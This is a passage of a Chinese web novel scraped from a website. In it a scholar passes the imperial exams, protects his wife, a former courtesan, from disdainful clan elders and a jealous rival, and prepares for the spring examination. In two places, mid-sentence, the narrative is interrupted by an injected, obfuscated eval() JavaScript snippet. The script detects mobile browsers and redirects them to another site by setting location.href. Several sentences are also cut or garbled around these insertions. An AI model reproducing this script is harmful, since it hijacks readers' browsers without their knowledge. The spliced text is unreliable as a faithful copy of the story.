“哼,肖晨还傻乎乎地闭门读书,怕是要陪跑了。” “他要是考不上,看他怎么护着那个花船女子!” 这些话像细针,偶尔会刺痛他,却更坚定了他的决心。他要让所有人看看,不靠门路,不靠钻营,单凭真才实学,也能闯出一条路来。 秋闱前一日,肖晨将所有书卷收进箱底,反倒难得地歇了一日。李傲雪做了他爱吃的红烧肉,丁香温了一壶清酒,三人围坐在小桌旁,像寻常人家一样闲话家常。 “明日进考场,别太紧张。”李傲雪给他夹了块肉,“正常发挥就好,我们都在家等你回来。” 丁香也跟着点头,眼里满是担忧:“考场里冷,我给你缝了个暖手炉,记得带上。还有糕点,饿了就垫垫。” 肖晨看着眼前的两人,心里暖融融的。他举起酒杯,对着她们轻轻一敬:“等我回来。” 没有豪言壮语,却胜过千言万语。 第二日天未亮,肖晨便带着书童上了路。站在院门口,他回头望了一眼,见丁香和李傲雪正倚在门内望着他,晨光落在她们身上,像镀了层金边。 他朝她们挥了挥手,转身大步流星地走向考场。前路或许有风雨,或许有荆棘,但他知道,身后有两个女子在等他,有一个家在盼他,这就够了。 他要考中的,不只是功名,更是护她们一世安稳的底气。 考场外早已排起长队,考生们穿着统一的襕衫,手里提着考篮,脸上或是紧张,或是志在必得。肖晨深吸一口气,随着人流走进那扇朱漆大门,身后的门“吱呀”一声关上,将外界的喧嚣彻底隔绝。 号舍狭小逼仄,仅容一人坐卧。肖晨放下考篮,先将丁香缝的暖手炉放在脚边,又摸了摸怀里的糕点,仿佛能感受到她们留在上面的温度。他定了定神,取出笔墨纸砚,静静等待考题下发。 随着一声梆子响,考题被分发下来。肖晨展开一看,心便定了——策论考的是民生吏治,正是他平日里钻研最多的内容。他略一沉吟,便提笔写下,笔尖在纸上沙沙作响,胸中的丘壑与见解,顺着墨痕流淌而出。 三日考期,他每日只睡两个时辰,其余时间都埋首于试卷。饿了便啃几口糕点,冷了就搓搓手,靠暖手炉取些暖意。每当倦意袭来,只要想到门内等待的人,便又生出力气。 出考场那日,天色微阴。肖晨走出大门时,一眼就看到了人群中的丁香和李傲雪。她们踮着脚张望,脸上满是焦急,看到他的身影,眼里瞬间亮起光来。 “公子!”丁香快步迎上来,接过他手里的考篮,见他面色憔悴,眼圈泛红,“累坏了吧?” 李傲雪也走上前,递过一块干净的帕子:“先回家,我炖了鸡汤。” 肖晨看着她们,连日的疲惫仿佛瞬间消散,他笑了笑:“没事,都过去了。” 回家的路上,三人都没提考试的事,只说些家常。可彼此都知道,那颗悬着的心,要等到放榜那日才能落下。 等待放榜的日子,比备考时更难熬。族里的人又开始蠢蠢欲动,四叔甚至上门来劝肖晨:“我看你悬,不如早做打算,把那花船女子送走吧,免得将来更难堪。” 肖晨只淡淡回了句:“等放榜再说。” 终于,放榜那日到了。天还没亮,肖晨便带着书童去了放榜处。远远地,就看到围了里三层外三层的人,叫好声、叹息声此起彼伏。 他挤到榜前,目光顺着名单往上扫,心越跳越快。直到看到“肖晨”二字赫然出现在第五名的位置时,他猛地顿住,仿佛不敢相信自己的眼睛。 “公子!中了!您中了举人第五名!”书童比他还激动,跳起来大喊。 肖晨反复看了几遍,确认那两个字没错,一股热流瞬间涌上心头。他转过身,拨开人群往外走,脚步轻快得像要飞起来。 他要第一时间告诉她们这个消息。 回到家时,丁香和李傲雪正在院里择菜,见他回来,连忙迎上来。 “怎么样?”两人异口同声地问,声音里带着紧张。 肖晨看着她们期盼的眼神,笑着张开双臂:“中了,第五名。” 丁香愣了一下,随即眼泪就掉了下来,不是伤心,是喜极而泣。李傲雪也红了眼眶,扶着他的胳膊,声音发颤:“太好了……真是太好了……” 三人相拥在一起,阳光恰好穿透云层,洒在他们身上,暖得让人想落泪。 这个消息很快传遍了肖家宗族。那些曾经嘲讽他的人,此刻都闭了嘴;大爷爷和族老们虽然没亲自上门道贺,却也让人送来了贺礼,态度明显软化了许多。 肖晨知道,这只是第一步。但他终于有了底气,有了护着她们的资本。 夜里,三人坐在灯下,肖晨看着身边的两个女子,眼里满是温柔:“等明年春闱,我定要再考个好名次,到时候,谁也不能再对你们说半句不是。” 丁香靠在他肩上,笑着点头:“我们都信你。” 李傲雪也笑道:“不管结果如何,我们都陪着你。” 肖晨高中举人的消息传到王家时,王老爷正坐在书房里,听着下人回报放榜的情形。桌上摆着一封刚送到的信,是主考官门生亲笔所书,言明王公子已稳稳考中第七名,虽比肖晨低两位,却也算是得偿所愿。 “哼,第五名又如何?”王老爷将信纸拍在桌上,脸上带着几分不屑,“若不是我打点及时,那肖晨岂能占这个便宜?” 正说着,王公子推门进来,他穿着簇新的锦袍,脸上却没多少喜色,反倒带着一股戾气。 “爹,我听说了,肖晨考了第五?”他咬牙道,拳头攥得死紧。 王老爷瞥了他一眼:“第七名也不差,好歹进了前二十,足够你在族里抬得起头了。” “可我要的不是抬头,是超过他!”王公子猛地一拍桌子,眼里满是怨毒,“什么都被他压一头!读书比我好,名声比我响,现在连科举都压我一头!还有丁香……” 提到这个名字,他的声音越发阴狠:“那个贱人,当初若不是肖晨多管闲事,早就成了我的人!凭什么他能得偿所愿,我却要看着他们双宿双飞?” 王老爷皱了皱眉:“休得胡言!一个花船女子罢了,值得你如此上心?等过些时日,爹再给你寻个名门闺秀,比她强百倍。” “我不要什么名门闺秀!”王公子梗着脖子,眼神偏执,“我就要丁香!我就要让肖晨尝尝,从云端摔下来的滋味!” 他走到窗边,望着肖家宅院的方向,拳头捏得指节发白:“爹,您放心,这次只是开始。春闱在即,我定会好好准备,到时候定要考得比他好,让他沦为笑柄!终有一天,我要爬得比他高,狠狠地把他踩在脚下,让他眼睁睁看着我把丁香夺过来!” 他想起当初在肖府上,丁香对自己的冷淡,想起肖晨护着她时那副坦荡的模样,心里的妒火就烧得更旺。在他看来,肖晨拥有的一切都该是他的——才名、功名,还有那个让他魂牵梦绕的女子。 王老爷看着儿子眼里的狠劲,沉默片刻,终是叹了口气:“罢了,你有这份心也好。春闱的事,我会再给你铺路,定不会让你输给肖晨。只是那丁香……” 他顿了顿,语气阴恻:“一个贱籍女子,掀不起什么风浪。等你将来功成名就,有的是办法让她回心转意,或是……强取豪夺。” 王公子闻言,脸上露出一抹狞笑:“爹说得是。到时候,我要让肖晨看着,他视若珍宝的东西,在我眼里不过是玩物!” 中举的喜庆劲儿还没过去,肖家大门就再次被族老们堵住。这次来的依旧是大爷爷带着几个长辈,只是脸上没了往日的疾言厉色,反倒多了几分“循循善诱”的意味。 大爷爷坐在主位上,端着茶杯呷了一口,慢悠悠地开口:“肖晨啊,你现在中了举人,前程算是定了一半,可不能在这时候出岔子。” 四叔在一旁接话:“就是!那丁香出身毕竟不好,如今你是有头有脸的人物了,身边跟着个花船出来的,传出去像什么样子?将来吏部考察,或是跟其他官员往来,人家背后指不定怎么议论你。” “我看啊,趁现在春闱还没到,赶紧把她打发了,送远些,给她些银钱,也算仁至义尽了。”六叔摸着胡须,语气带着不容置疑的笃定,“这样对你日后的仕途,只有好处没有坏处。” 肖晨坐在他们对面,脸色一点点沉下去。他原以为中了举人,至少能让这些人收敛些,没成想他们非但没停, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105053|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反而觉得“清理门户”的时机到了。 “打发了?”他重复着这三个字,声音里带着压抑的怒火,“当初你们逼我娶她,如今我中了举,又要我赶她走?在你们眼里,她到底是什么?一件可以随意丢弃的物件吗?” 大爷爷放下茶杯,脸色一沉:“话不能这么说!当初是权宜之计,如今你身份不同了,自然要顾全大局!一个贱籍女子,哪配站在举人身旁?” “她配不配,我说了算!”肖晨猛地站起身,目光扫过在座的每一个人,“我当初就说过,她是我的妻子,我会护着她。你们为什么就是不肯放过她?就因为她出身花船?可她从未害过人,凭什么要被你们这样反复磋磨?” “放肆!”大爷爷拍案而起,拐杖重重顿在地上,“我们是为了你好!为了肖家的名声!你以为官场是什么地方?一点污点就能让你万劫不复!你想让全天下的人都笑我们肖家,笑你这个举人,娶了个风尘女子吗?” “我不在乎!”肖晨的声音掷地有声,“名声是自己挣的,不是靠踩碎别人的尊严换来的!若官场容不下一个清白女子,那这官不当也罢!若肖家容不下她,那这家族我不认也罢!” “你——”大爷爷被他噎得说不出话,指着他的手都在发抖,“你这是被那女人迷昏了头!忘恩负义!” “我没忘恩负义,我只是记得,做人要讲良心。”肖晨的目光冷了下来,“当初我受伤,是她衣不解带地照顾;我读书备考,是她和傲雪一起为我操劳。她对我有情有义,我若为了功名弃她而去,那才是真的忘恩负义,猪狗不如!” 他走到门口,对着外面喊道:“送客!” 族老们没想到他态度如此强硬,一个个气得脸色铁青。大爷爷瞪着他,恨铁不成钢道:“好!好得很!你今日护着她,他日若因此坏了前程,可别后悔!我们就看着,看你能护她到几时!” 说完,一群人怒气冲冲地拂袖而去,走到院子里时,还能听到他们的咒骂声。 肖晨站在原地,胸口剧烈起伏。丁香和李傲雪从里屋走出来,脸上满是担忧。 “公子……”丁香拉了拉他的衣袖,声音发颤,“是不是我……真的会耽误你?” 肖晨转过身,握住她的手,眼神温柔却坚定:“跟你没关系。是他们容不下一颗干净的心,不是你的错。” 李傲雪也走上前:“少爷别气坏了身子,他们说他们的,我们过我们的。春闱要紧,别为这些事分心。” 肖晨点点头,深吸一口气。他知道,这场争执不会是最后一次。族人的偏见,王公子的觊觎,还有官场的暗流,都在等着他。 族老们走后,肖晨独自在书房坐了许久。窗外的梧桐叶被风吹得簌簌作响,像极了那些嚼舌根的议论声。他拿起笔,想继续研读策论,可笔尖悬在纸上,半天落不下去。 “公子,喝碗安神汤吧。”丁香端着汤碗进来,见他对着空白的纸出神,便轻轻将碗放在桌上,“别往心里去,他们说的不算数。” 肖晨抬头看她,见她眼底藏着担忧,却强装镇定,心里又是一暖又是一疼。他放下笔,拉过她的手:“放心,我没事。只是在想,要怎样做,才能让所有人都明白,你不是我的污点,是我的福气。” 丁香摇摇头,反握住他的手:“我不在乎别人怎么看,只要公子信我就够了。” 正说着,李傲雪推门进来,手里京城来的信,是周先生寄的。” 周先生是肖晨从前的启蒙恩师,如今在京中为官,为人正直。肖晨连忙拆开信,只见信中写道,春闱主考官已定下是礼部尚书张大人,此人最看重文章风骨,厌恶旁门左道,让肖晨务必潜心治学,切勿轻信钻营之说。 “太好了。”肖晨看完信,长舒一口气,“有周先生提醒,我心里更有底了。” 李傲雪笑道:“看来天也助公子。张大人是出了名的清官,定能识得真才。” 丁香也跟着点头:“公子的学问,定能入张大人的眼。” 有了周先生的信,肖晨的心彻底定了下来。他将所有精力都投入到春闱备考中,每日与经书为伴,偶尔和丁香、李傲雪聊聊京中趣闻,倒也冲淡了不少族里带来的阴霾。 转眼到了深秋,按规矩,新科举人需赴京参加次年春闱。出发前几日,肖晨特意去了趟族里,将行程告知大爷爷。 大爷爷坐在太师椅上,脸色依旧不好看,却没再提赶走丁香的事,只冷冷道:“京中不比家里,万事小心。若是能得张大人赏识,对你日后大有裨益。” 话里虽带刺,却总算有了几分长辈的样子。肖晨知道,这已是族老们能做出的最大让步——他们或许仍不认可丁香,却不得不承认,他如今的功名,已是肖家最大的指望。 出发那日,天色晴朗。丁香和李傲雪一早便起来为他收拾行装,丁香将亲手绣的平安符塞进他的行囊,又细细叮嘱:“路上冷,记得多添衣服,别熬夜看书,按时吃饭……” 话没说完,眼泪就掉了下来。 肖晨替她擦去眼泪,笑道:“不过是去几个月,开春就回来了。等我回来,就带你和傲雪一起去京城。” 李傲雪也红了眼眶,却强笑道:“少爷一路保重,家里有我,定会照顾好丁香妹妹。” 肖晨点点头,深深看了她们一眼,转身登上马车。车轮滚动,将熟悉的身影越拉越远,直到再也看不见。 马车里,肖晨拿出那个平安符,指尖摩挲着上面细密的针脚,心里默念:等着我,我很快就回来。 他不知道的是,在他离开后,王家父子也开始了动作。王老爷动用关系,为儿子谋得了一个随京官办事的差事,能提前进京打点;而王公子看着肖晨马车消失的方向,眼里闪过一丝阴狠—— 肖晨,这一次,我不会再输给你。京城,就是你的葬身之地。而丁香……很快就会是我的。 丁香看着肖晨紧绷的侧脸,轻轻握住他的手,指尖带着一丝小心翼翼的暖意:“公子,您别太忧心了。” 她顿了顿,像是在斟酌词句,声音柔缓却清晰:“我前几日听厨房的张妈说,咱们家在京城的几处铺子,还有城外的那片良田,这些年经营得极好,算下来,在这京城也算是数得着的富户了。” 肖晨愣了一下,转头看她。 丁香迎上他的目光,眼里闪着认真的光:“钱财虽买不来所有东西,可至少能让我们日子安稳些。等到来年春闱,公子定能再考个好名次,到时候既有功名傍身,又有家底支撑,那些想说闲话的人,自然没了底气。” 她知道自己不懂官场险恶,也说不出什么大道理,只能用自己能想到的方式安慰他:“就算……就算将来真有什么难处,凭着咱们家的家底,也能护得彼此周全,总好过在花船上那般身不由己。” 她想起那些在花船上连安稳日子都求不得的姐妹,再看看眼前的庭院,身边的人,心里便觉得踏实:“我不怕旁人怎么说,只要能守在公子身边,粗茶淡饭也甘愿。咱们一步一步来,总会越来越好的。” 肖晨听着她的话,心里那股郁气渐渐化开。是啊,他并非一无所有,有家底,有才学,更有身边这两个愿意陪他共渡难关的人。 他反手握住她的手,指尖传来她的温度,语气也柔和了许多:“你说得对,慢慢来。” 他低头看着她,眼里的坚定重新燃起:“不单是为了功名,更是为了让你和傲雪,能在这京城里,活得坦坦荡荡,再不用看任何人的脸色。” 丁香看着他眼里的光,用力点了点头,唇角忍不住扬起笑意。窗外的阳光正好,落在两人交握的手上,仿佛连时光都变得温柔起来。那些暂时的阴霾,在这份彼此扶持的暖意里,似乎也没那么可怕了。 来年春闱,总会好的。她心里这样想着,像怀揣着一颗沉甸甸的种子,只盼着春日一到,便能破土而出,长成参天大树,为他们遮挡所有风雨。 59.李母对女儿的劝解,让她认清现实 日子在平静中缓缓流淌,离春闱的日子越来越近。肖晨每日埋首书海,偶尔会抽出时间,和丁香、李傲雪一起打理院里的花草,或是去京郊的田庄看看收成。 那片良田是肖家祖辈留下的产业,这些年由老管家精心照管,亩产一年比一年高。肖晨站在田埂上,看着金灿灿的稻穗,听着佃户们说着今年的好收成,心里渐渐有了底。 “你看,”丁香指着远处的炊烟,笑着说,“有这些田地在,就算将来仕途不顺,咱们也有口饭吃,饿不着。” 肖晨握住她的手,转头看向不远处正在和老农说话的李傲雪。她穿着素净的布裙,却自有一番沉稳干练的气度,将家里的产业打理得井井有条。 他忽然明白,丁香说的“首富”,从来不是指金银满屋,而是这份踏实的底气——有良田可种,有家人可依,有彼此扶持的心意。 回到府里,肖晨把书房里的账本拿出来,和李傲雪一起核对。京城的铺子生意红火,田庄的租子也快收齐了,账目清清楚楚,盈余比去年多了近三成。 “傲雪,辛苦你了。”肖晨看着她清秀的侧脸,心里满是感激。 李傲雪放下算盘,浅浅一笑:“都是分内之事。这些钱,我打算留一部分周转,剩下的换成银票,万一春闱后要打点,或是有其他用处,也能随时取用。” 她考虑得周全,连肖晨没想到的地方都顾及到了。丁香在一旁研墨,听着他们说话,心里暖融融的。这个家,因为有了彼此,才变得这样安稳。 几日后,王公子派人送来帖子,说是要在酒楼设宴,宴请同科中举的学子,特意点明请肖晨务必到场,还“贴心”地提了一句,可携家眷同往。 “他安的什么心?”丁香看着帖子,眉头紧锁。 肖晨将帖子扔在桌上,冷笑一声:“无非是想在众人面前炫耀,或是找机会刁难。他想比,我便去会会他。” 李傲雪却有些担忧:“王公子心性狭隘,怕是会在宴上给你难堪,甚至……对丁香不利。” “我自有分寸。”肖晨握住丁香的手,眼神坚定,“他想夺,我偏要让所有人看看,丁香是我的妻子,谁也动不得。” 赴宴那日,肖晨特意让丁香换上了一身素雅却不失体面的衣裙,腕上戴着他送的玉镯。三人同乘一辆马车,驶向酒楼。 刚到门口,就看到王公子站在台阶上,身边围着几个学子。他看到肖晨带着两个女子来,眼神在丁香身上黏了片刻,随即露出一抹不怀好意的笑:“肖兄可算来了,这位便是丁香姑娘吧?果然风姿绰约。” 他故意提高声音,让周围的人都听见:“只是不知肖兄带家眷来,是想让大家瞧瞧,肖府的‘特殊’风光吗?” 周围响起几声窃笑,目光齐刷刷地落在丁香身上,带着探究和轻蔑。 丁香的手微微发抖,却被肖晨紧紧握住。他抬眼看向王公子,语气平淡却带着力量:“王兄说笑了。内子与拙荆同来,不过是想让她们尝尝这酒楼的招牌菜。倒是王兄,站在门口迎客,莫非是怕我们抢了你的风头?” 一句话噎得王公子脸色发青,周围的笑声也僵住了。 肖晨不再看他,拥着丁香和李傲雪径直走进酒楼,留下王公子站在原地,脸色一阵青一阵白。 雅间里,丁香靠在肖晨身边,小声说:“刚才……多谢公子。” “傻瓜,该谢什么。”肖晨给她夹了块鱼,“有我在,谁也别想让你受委屈。” 李傲雪看着他们,眼里露出欣慰的笑意。窗外的阳光透过窗棂照进来,落在三人身上,温暖而明亮。 酒过三巡,王公子借着几分酒意,目光又黏在丁香身上,端着酒杯笑道:“早就听闻丁香姑娘在花船上弹得一手好琴,名动京城。今日在座的都是文人雅士,不如丁香姑娘赏个脸,弹一曲助助兴?” 他这话看似客气,实则故意揭丁香的过往,将她往“风尘女子”的标签上钉。周围的学子们也跟着起哄,眼神里满是看热闹的意味。 “王兄这话说得不妥。”肖晨放下酒杯,声音不高,却让喧闹的雅间瞬间安静下来,“内子早已洗尽铅华,如今是肖某的妻子,岂容他人随意指使?” 王公子却不肯罢休,挑眉道:“肖兄何必动怒?不过是弹首曲子罢了,难道肖兄是怕……怕丁香姑娘技艺生疏,丢了你的脸面?” 他步步紧逼,非要让丁香难堪。丁香放在膝上的手攥成了拳,指尖泛白,脸上却强装平静。她知道,此刻若是退缩,只会让王公子更得意,让肖晨被人看轻。 她轻轻挣开肖晨的手,站起身,对着众人福了一礼,声音清越:“既然王公子有此雅兴,献丑了。” 肖晨蹙眉看向她,眼里满是担忧。丁香回了他一个安心的眼神,走到雅间角落的琴前坐下。 她深吸一口气,指尖落在琴弦上。没有选那些靡靡之音,也没有弹悲戚的调子,而是选了一首《高山流水》。 初时琴声舒缓,如流水潺潺,渐渐变得激昂,似高山巍峨,每一个音符都透着坦荡与坚韧,哪里有半分风尘气?在座的都是读书人,听得懂琴音里的风骨,喧闹声渐渐平息,连王公子脸上的戏谑都僵住了。 肖晨望着她的背影,心里又惊又喜。他从未听过她弹这样的曲子,原来她的琴音里,藏着这样一份不卑不亢的傲气。 一曲终了,余音绕梁。雅间里静了片刻,随即有人忍不住叫好:“好!好一曲《高山流水》!丁香姑娘好技艺!” 王公子的脸色一阵青一阵白,本想让她出丑,反倒让她赚了满堂彩。他咬着牙,不甘心地又道:“琴弹得好又如何?终究是……” “终究是我肖晨认定的人。”肖晨打断他,起身走到丁香身边,牵起她的手,目光扫过全场,“她的过去,我不在乎;她的将来,我护着。谁要是再敢对她不敬,便是与我肖晨为敌。” 他的声音掷地有声,眼里的坚定让所有人都不敢再妄言。李傲雪坐在席间,看着他们相握的手,默默端起茶杯,唇角露出一抹笑意。 王公子捏着酒杯的手青筋暴起,却终究没敢再说什么。这场宴,他本想让肖晨难堪,到头来,却成了肖晨护妻的舞台。 散席时,肖晨拥着丁香走在前面,身后传来王公子压抑的怒声,却已无人在意。 马车里,丁香靠在肖晨肩上,轻声道:“我刚才是不是太冲动了?” “不,你做得很好。”肖晨低头吻她的发顶,“让他们看看,我的妻子,比他们所有人都更有风骨。” 丁香知道,只要身边这个男人在,无论前路有多少风雨,她都能像今日的琴音一样,活得坦荡而坚韧。 王公子果然没消停几日。这天午后,他竟提着两盒精致的糕点,亲自上门来了。 下人通报时,肖晨正在书房看卷宗,闻言只淡淡皱眉:“让他走。” 可王公子早已自顾自闯了进来,脸上堆着虚假的笑:“肖兄,前几日酒楼上是我失言,特来赔罪。”他将糕点往桌上一放,语气带着几分轻佻,“不过是几句话的事,肖兄也太小气了,何必往心里去?” 肖晨抬眼瞥他,懒得跟他虚与委蛇:“王兄若是来道歉的,那便不必了。若是无事,就请回吧。” 王公子脸上的笑僵了僵,正要再说些什么,丁香端着茶从里间走出来。看到他时,她脚步顿了顿,眼里闪过一丝复杂。 王公子见状,立刻换上一副恳切的模样:“丁香姑娘,那日是我不对,你别往心里去。” 丁香将茶盏放在桌上,目光落在他身上,声音里带着几分怅然:“王公子,你现在怎么变成这样了?” 王公子一愣:“我……我怎么了?” “还记得吗?”丁香的声音轻了些,像是在回忆遥远的往事,“我被你父亲从花船买去王府,你见我哭得伤心,偷偷塞给我一块手帕,说‘别怕,我带你走’。” 她抬眼望着他,眼里有失望,也有惋惜:“你趁着夜色拉着我往后门跑,被你父亲发现时,你还挡在我身前,跟他大声争执,说‘爹你不能这样对她,她也是人’。那时候的你,眼里有光,心里有善,怎么如今……” 她没再说下去,可那未尽的话语,却像一记重锤,狠狠砸在王公子心上。 他脸上的表情瞬间变得复杂,有慌乱,有难堪,还有一丝被戳中心事的狼狈。他下意识地避开丁香的目光,梗着脖子道:“那时候……那时候是年少无知!人总是要长大的,总要懂些人情世故!” “可长大不是让心变得浑浊,懂世故也不是让你用尽心机去害人。”丁香的声音里带着一丝痛心,“你看看现在的自己,为了争强好胜,为了那些虚无的脸面,算计别人,轻贱旁人,这真的是你想要的吗?” 王公子被她说得脸上一阵红一阵白,猛地攥紧拳头:“你懂什么!我变成这样,还不是因为……” 他想说“还不是因为你选了肖晨”,可话到嘴边,却被肖晨冷冷的目光逼了回去。 肖晨走上前,将丁香护在身后,看着王公子:“王兄若是听不进劝,便请回吧。别让当年那点仅存的善意,也被你自己耗光了。” 王公子看着眼前的两人,又想起丁香方才的话,心里像被什么东西堵住,闷得发慌。他张了张嘴,想说些什么,最终却只是狠狠瞪了他们一眼,抓起桌上的糕点,转身摔门而去。 看着他仓皇的背影,丁香轻轻叹了口气。 肖晨握住她的手:“别为不值得的人难过。” 丁香摇摇头,眼里闪过一丝释然:“我只是觉得可惜。不过……也算了,路是他自己选的。” 丁香望着王公子远去的方向,指尖无意识地摩挲着袖口的绣花,声音里带着难以言喻的怅然:“怎么才短短的几个月,他就变成了这个样子?” 肖晨走到她身边,顺着她的目光望去,只看到空荡荡的院门。他伸手揽住她的肩,轻声道:“人心是会变的,尤其是被欲望缠上的时候。” “可变得也太快了。”丁香转过身,眼里还带着迷茫,“上次在王府见他,虽有骄纵,可眼神里还有几分少年人的清澈。他会偷偷给我送伤药,会跟我说他爹做的不对……怎么才过了这几个月,就满脑子都是算计和争抢了?” 她想起那日王公子挡在她身前,跟王老爷对峙时涨红的脸,想起他塞给她碎银让她逃跑时的慌张,那些画面明明还很清晰,可眼前的人却已判若两人。 “或许是被比输了不甘心,或许是被他爹耳濡目染,也或许……是他自己本就藏着这样的心思。”肖晨叹了口气,“有些人,经不住一点风浪,更扛不住欲望的引诱。一点点甜头,就能让他忘了当初的样子。” 丁香低下头,轻轻“嗯”了一声。是啊,王老爷为了让儿子高中,不惜打点舞弊;王公子尝到了走捷径的滋味,便觉得所有东西都该用手段去抢。那份年少时的善意,在功名利禄面前,终究是抵不住的。 “也幸好,他露出了真面目。”肖晨捏了捏她的脸颊,语气带着几分庆幸,“不然,我们还当他是那个心善的少年,指不定要吃多少暗亏。” 丁香抬头看他,见他眼里满是温柔,心里的怅然渐渐散去。是啊,不管别人怎么变,身边这个人始终没变。他守着自己的底线,护着她的周全,这就够了。 她往肖晨怀里靠了靠,轻声道:“不管他了。我们过好自己的日子就好。” 肖晨笑着点头,拥紧了她。阳光穿过窗棂,在地上投下温暖的光斑,仿佛将那些不愉快的阴霾,都轻轻驱散了。 肖晨把自己关在书房里,已是第三日未曾踏出门槛。 案上堆着半人高的书卷,从经史子集到历代策论,密密麻麻的批注爬满了页边。他揉着发胀的太阳穴,望着窗外飘落的雪花,忽然没来由地叹了口气——这春闱的难度,竟比他现代经历过的高考还要磨人。 现代时,他无非是背知识点、刷模拟卷,凭着一股蛮劲也混了个本科文凭。可到了这里,光是要把那些佶屈聱牙的古籍嚼透,就得耗去大半心神,更别说还要在策论里融贯古今、提出真知灼见,半点敷衍不得。 “若不是原身从小打下的底子扎实,怕是早就撑不住了。”他喃喃自语,拿起桌边的浓茶灌了一口。 原身肖晨本就是个潜心学问的人,脑子里装着数不清的典故和批注,如今被他继承过来,像是揣着一座现成的宝库。可即便如此,他仍不敢懈怠——那些和他同场竞技的举子,哪个不是寒窗苦读十数年?更别说王公子背后还有人铺路,稍有不慎便会落于人后。 正想着,丁香端着一碗热腾腾的银耳羹走进来,见他眼底的青黑,心疼地皱起眉:“公子又熬了半宿?” 肖晨放下书卷,接过碗来,暖意顺着指尖传到心里:“总觉得还有许多地方没吃透。你看这道策论,讲的是西北边防,既要考虑粮草调度,又要兼顾民族安抚,稍不留意就会顾此失彼。” 他指着卷上的字句,忽然笑了:“说起来,这倒比现□□的申论难多了,至少申论不用引经据典,还能查资料。” 丁香没听懂“公务员”和“申论”是什么,却能感受到他话语里的疲惫,伸手替他按了按眉心:“累了就歇歇,原身……不是,公子你已经很厉害了,别太逼自己。” 肖晨握住她的手,心里一阵暖意。是啊,他不是一个人在熬。有原身留下的学识,有身边人的扶持,还有那份必须守护的安稳,这些都是他咬牙坚持的理由。 他舀了一勺银耳羹,甜意在舌尖化开:“放心,我心里有数。等考完了,咱们就去江南看梅花。” 丁香笑着点头,眼里的光比窗外的雪还要亮。 书房里再次安静下来,只剩下笔尖划过纸张的沙沙声。肖晨深吸一口气,重新埋首书卷。难又如何?他既然占了这具身子,承了这份情谊,就定要凭着真本事闯过这春闱,给身边的人一个安稳的将来。 至于那些旁门左道的算计,他不信赢不过。毕竟,无论是哪个时代,真才实学,总归是最硬的底气。 肖晨埋头苦读的这些日子,肖母几乎每日都要亲自来院里转几圈。这天雪刚停,她披着厚厚的狐裘,一进院门就扬声吩咐下人:“都手脚麻利些!把院子里的雪扫得干干净净,连廊下的砖缝都别留一点残雪!” 几个仆妇赶紧拿起扫帚,她又走到正屋门口,摸了摸门框上的积雪:“还有这窗棂,擦得亮些,别挡了光,我儿看书费眼。” 管家在一旁应着,她却不放心,亲自去库房查看暖炉:“炭要挑最耐烧的银丝炭,烧起来没烟,别呛着我儿。每个屋子都备两个,书房里多放一个,夜里冷,可不能冻着他。” 她一边翻检着暖炉,一边对跟来的丁香和李傲雪说:“你们也多上点心,他看书入了迷,常忘了添衣裳。每隔一个时辰就去书房看看,给他换杯热茶,炖的补品也盯着火候,别太烫也别凉了。” 丁香连忙点头:“母亲放心,我们都记着呢。” 肖母这才松了口气,走到书房窗外,见里面灯光明亮,肖晨正伏案疾书,她放轻脚步,脸上露出疼惜的神色,却没进去打扰。 转身时,她又对下人叮嘱:“这几日府里都安静些,说话走路都轻着点,谁要是敢吵着我儿读书,仔细你们的皮!” 一番吩咐下来,整个肖府都透着小心翼翼的郑重。仆人们轻手轻脚地干活,连说话都压着嗓子,生怕惊扰了书房里的人。 丁香看着肖母忙碌的背影,心里有些触动。从前只知肖母严厉,如今才明白,这份严厉里藏着多少对儿子的疼惜。 李傲雪在她身边轻声道:“母亲这是把所有心思都放在少爷身上了。” 丁香点点头,转身进了厨房,将刚炖好的冰糖雪梨盛出来,打算送去书房。她知道,不止肖母,这府里的每个人,都在用自己的方式,盼着肖晨能一举高中,盼着这份安稳能长久下去。 丫鬟来传话时,丁香正给肖晨缝补袖口,李傲雪在核对账目。两人听闻肖母召见,连忙放下手里的活计,快步来到正屋。 “母亲找儿媳何事?”两人齐齐福身行礼,声音恭敬。 肖母坐在榻上,目光先落在李傲雪身上,脸色缓和了些:“傲雪,春闱前这些日子,府里的事你就全权负责。尤其是肖晨的饮食起居,一点都不能马虎,食材要新鲜,补品要按时炖,书房的炭火也得盯着添。” 李傲雪应声:“是,儿媳记下了。” 肖母这才转头看向丁香,眼神瞬间冷了下来,语气带着毫不掩饰的嫌恶:“至于你这个贱蹄子,”她顿了顿,刻意加重了语气,“就跟着下人们一起打扫院子、擦拭门窗。我儿备考的地方,得干干净净,不能让你沾了晦气,影响他前程。” 丁香的脸唰地白了,手指紧紧攥着衣角,嘴唇动了动,却没说什么。她知道肖母一直看不上自己的出身,只是没想到会在这个时候,用这样伤人的话将她和李傲雪分得如此清楚。 李傲雪皱了皱眉,想替丁香说句话:“母亲,丁香她……” “你不用说了。”肖母打断她,眼神凌厉,“我自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105054|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有分寸。她是什么身份,就该做什么事。别让她整天围着肖晨转,惹得我心烦。” 她瞥了丁香一眼,语气更冷:“要是敢偷懒耍滑,或是偷偷去书房打扰肖晨,仔细你的皮!” 丁香深吸一口气,压下心里的委屈,低头应道:“是,儿媳遵命。” 看着她隐忍的模样,肖母心里的火气才消了些,挥挥手:“行了,都下去吧,各司其职。” 